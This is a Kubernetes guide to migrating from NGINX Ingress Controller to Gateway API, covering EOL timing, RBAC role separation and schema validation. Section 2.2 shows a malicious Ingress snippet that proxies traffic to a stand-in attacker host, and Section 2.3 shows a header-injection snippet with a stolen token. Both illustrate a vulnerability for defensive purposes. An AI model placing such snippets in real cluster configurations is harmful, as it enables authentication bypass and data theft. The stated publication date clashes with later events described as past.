Gateway API Adoption Guide
📌 Reference Versions: Gateway API v1.4.0, Cilium v1.19.0, EKS 1.32, AWS LBC v3.0.0, Envoy Gateway v1.7.0
📅 Published: 2025-02-12 | ⏱️ Reading Time: Approximately 25 minutes
1. Overview
With the official End-of-Life (EOL) of NGINX Ingress Controller approaching in March 2026, transitioning to Kubernetes Gateway API has become a necessity rather than an option. This guide covers everything from understanding Gateway API architecture to comparing 5 major implementations (AWS LBC v3, Cilium, NGINX Gateway Fabric, Envoy Gateway, kGateway), deep-dive Cilium ENI mode configuration, step-by-step migration execution strategies, and performance benchmark planning.
1.1 Target Audience
- EKS Cluster Administrators Operating NGINX Ingress Controller: EOL response strategy development
- Platform Engineers Planning Gateway API Migration: Technology selection and PoC execution
- Architects Evaluating Traffic Management Architecture Modernization: Long-term roadmap design
- Network Engineers Considering Cilium ENI Mode and Gateway API Integration: eBPF-based high-performance networking
1.2 Document Structure
- Quick Understanding: Sections 1-3, 6 (approximately 10 minutes)
- Technology Selection: Sections 1-4, 6 (approximately 20 minutes)
- Complete Migration: Full document (approximately 25 minutes)
2. NGINX Ingress Controller Retirement — Why Migration is Mandatory
2.1 EOL Timeline
Key Event Details:
- March 2025: IngressNightmare (CVE-2025-1974) discovered — Arbitrary NGINX configuration injection vulnerability through Snippets annotations accelerated retirement discussions in Kubernetes SIG Network
- November 2025: Kubernetes SIG Network announces official retirement of NGINX Ingress Controller. Citing insufficient maintainer resources (1-2 core maintainers) and Gateway API maturity as primary reasons
- March 2026: Official EOL — Security patches and bug fixes completely discontinued. Continued use in production environments may result in compliance violations
After March 2026, NGINX Ingress Controller will not receive security vulnerability patches. To maintain security certifications such as PCI-DSS, SOC 2, and ISO 27001, you must transition to Gateway API-based solutions.
2.2 Security Vulnerability Analysis
IngressNightmare (CVE-2025-1974) Attack Scenario:
- Attack Overview
- Controller Architecture
- Exploit Code

Unauthenticated Remote Code Execution (RCE) attack vectors targeting Ingress NGINX Controller in a Kubernetes cluster. Both external and internal attackers can compromise the controller pod via Malicious Admission Review, gaining access to all pods in the cluster. (Source: Wiz Research)

Ingress NGINX Controller Pod internal architecture. The Admission Webhook's configuration validation process, where attackers inject malicious configurations into NGINX, is the core attack surface of CVE-2025-1974. (Source: Wiz Research)
apiVersion: networking.k8s.io/v1
kind: Ingress
metadata:
name: malicious-ingress
annotations:
# Attacker injects arbitrary NGINX configuration
nginx.ingress.kubernetes.io/configuration-snippet: |
location /admin {
proxy_pass http://malicious-backend.attacker.com;
# Can bypass authentication, exfiltrate data, install backdoors
}
spec:
ingressClassName: nginx
rules:
- host: production-api.example.com
http:
paths:
- path: /
pathType: Prefix
backend:
service:
name: production-service
port:
number: 80
Risk Assessment:
For existing NGINX Ingress environments, we recommend immediately applying admission controller policies that prohibit the use of nginx.ingress.kubernetes.io/configuration-snippet and nginx.ingress.kubernetes.io/server-snippet annotations.
2.3 Structural Resolution of Vulnerabilities through Gateway API Adoption
Gateway API fundamentally resolves the structural vulnerabilities of NGINX Ingress.
- ❌ NGINX Ingress Vulnerabilities
- ✅ Gateway API Resolution
1. Configuration Snippet Injection Attack
NGINX Ingress allows arbitrary string injection via annotations, creating severe security risks:
# ❌ NGINX Ingress — arbitrary string injection possible
annotations:
nginx.ingress.kubernetes.io/configuration-snippet: |
# Adjacent service credential theft possible (CVE-2021-25742)
proxy_set_header Authorization "stolen-token";
2. All Permissions Concentrated in a Single Resource
- Routing, TLS, security, and extension settings all mixed in one Ingress resource
- Per-annotation RBAC separation is impossible — full Ingress permission or none
- Developers who only need routing access also get TLS/security modification rights
3. Vendor Annotation Dependency
- Non-standard features added via vendor-specific annotations → portability lost
- Debugging annotation conflicts is difficult
- Growing complexity managing 100+ vendor annotations
These structural issues make NGINX Ingress unable to meet production security requirements.
1. 3-Tier Role Separation Eliminates Snippets
Each team manages resources only within their permission scope — arbitrary configuration injection paths are eliminated.
# Infrastructure Team: GatewayClass (Cluster-level)
apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRole
metadata:
name: infrastructure-team
rules:
- apiGroups: ["gateway.networking.k8s.io"]
resources: ["gatewayclasses"]
verbs: ["create", "update", "delete"]
---
# Platform Team: Gateway (Namespace-level)
apiVersion: rbac.authorization.k8s.io/v1
kind: Role
metadata:
name: platform-team
namespace: platform-system
rules:
- apiGroups: ["gateway.networking.k8s.io"]
resources: ["gateways"]
verbs: ["create", "update", "delete"]
---
# Application Team: HTTPRoute Only (Routing rules only)
apiVersion: rbac.authorization.k8s.io/v1
kind: Role
metadata:
name: app-team
namespace: app-namespace
rules:
- apiGroups: ["gateway.networking.k8s.io"]
resources: ["httproutes"]
verbs: ["create", "update", "delete"]
2. CRD Schema-Based Structural Validation
All fields are pre-defined with OpenAPI schemas, making arbitrary configuration injection fundamentally impossible:
# ✅ Gateway API — only schema-validated fields allowed
apiVersion: gateway.networking.k8s.io/v1
kind: HTTPRoute
spec:
rules:
- matches:
- path:
type: PathPrefix
value: /api
filters:
- type: RequestHeaderModifier # Only predefined filters allowed
requestHeaderModifier:
add:
- name: X-Custom-Header
value: production
3. Safe Extension via Policy Attachment Pattern
Extension functionality is separated into Policy resources with RBAC control:
# Cilium's CiliumNetworkPolicy for L7 security policies
apiVersion: cilium.io/v2
kind: CiliumNetworkPolicy
metadata:
name: api-rate-limiting
spec:
endpointSelector:
matchLabels:
app: api-gateway
ingress:
- fromEndpoints:
- matchLabels:
role: frontend
toPorts:
- ports:
- port: "80"
protocol: TCP
rules:
http:
- method: "GET"
path: "/api/.*"
rateLimit:
requestsPerSecond: 100
- 15+ production implementations: AWS, Google Cloud, Cilium, Envoy, NGINX, Istio, etc.
- Regular quarterly releases: Including GA resources as of v1.4.0
- Official CNCF project: Led by Kubernetes SIG Network
3. Gateway API — Next-Generation Traffic Management Standard
3.1 Gateway API Architecture

Source: Kubernetes Gateway API Official Documentation — Three roles (Infrastructure Provider, Cluster Operator, Application Developer) managing GatewayClass, Gateway, and HTTPRoute respectively
For a detailed architecture comparison between NGINX Ingress and Gateway API, see 2.3 Structural Resolution of Vulnerabilities through Gateway API Adoption with tabbed breakdowns.
3.2 3-Tier Resource Model
Gateway API separates responsibilities with the following hierarchy:
- Role Overview
- Infrastructure (GatewayClass)
- Platform (Gateway)
- App Team (HTTPRoute)

Source: Kubernetes Gateway API Official Documentation — GatewayClass → Gateway → xRoute → Service hierarchy
Infrastructure Team: GatewayClass-exclusive permissions (ClusterRole)
GatewayClass is a cluster-scoped resource that only the infrastructure team can create/modify. It controls controller selection and global policies.
apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRole
metadata:
name: infrastructure-gateway-manager
rules:
- apiGroups: ["gateway.networking.k8s.io"]
resources: ["gatewayclasses"]
verbs: ["get", "list", "watch", "create", "update", "patch", "delete"]
Platform Team: Gateway management permissions (Role — namespace-scoped)
Gateway is a namespace-scoped resource. The platform team manages listener configuration, TLS certificates, and load balancer settings.
apiVersion: rbac.authorization.k8s.io/v1
kind: Role
metadata:
name: platform-gateway-manager
namespace: gateway-system
rules:
- apiGroups: ["gateway.networking.k8s.io"]
resources: ["gateways"]
verbs: ["get", "list", "watch", "create", "update", "patch", "delete"]
- apiGroups: [""]
resources: ["secrets"] # TLS certificate management
verbs: ["get", "list"]
Application Team: HTTPRoute only (Role — namespace-scoped)
Application teams manage only HTTPRoutes and ReferenceGrants in their own namespace. They cannot access GatewayClass or Gateway resources.
apiVersion: rbac.authorization.k8s.io/v1
kind: Role
metadata:
name: app-route-manager
namespace: production-app
rules:
- apiGroups: ["gateway.networking.k8s.io"]
resources: ["httproutes", "referencegrants"]
verbs: ["get", "list", "watch", "create", "update", "patch", "delete"]
- apiGroups: [""]
resources: ["services"]
verbs: ["get", "list"]
3.3 GA Status (v1.4.0)
Gateway API is divided into Standard Channel and Experimental Channel, with varying maturity levels per resource:
Alpha-status resources have no API compatibility guarantees, with possible field changes or deletions during minor version upgrades. For production environments, we recommend using only GA/Beta resources from the Standard channel.
3.4 Key Benefits
Explore the 6 key benefits of Gateway API through visual diagrams and YAML examples.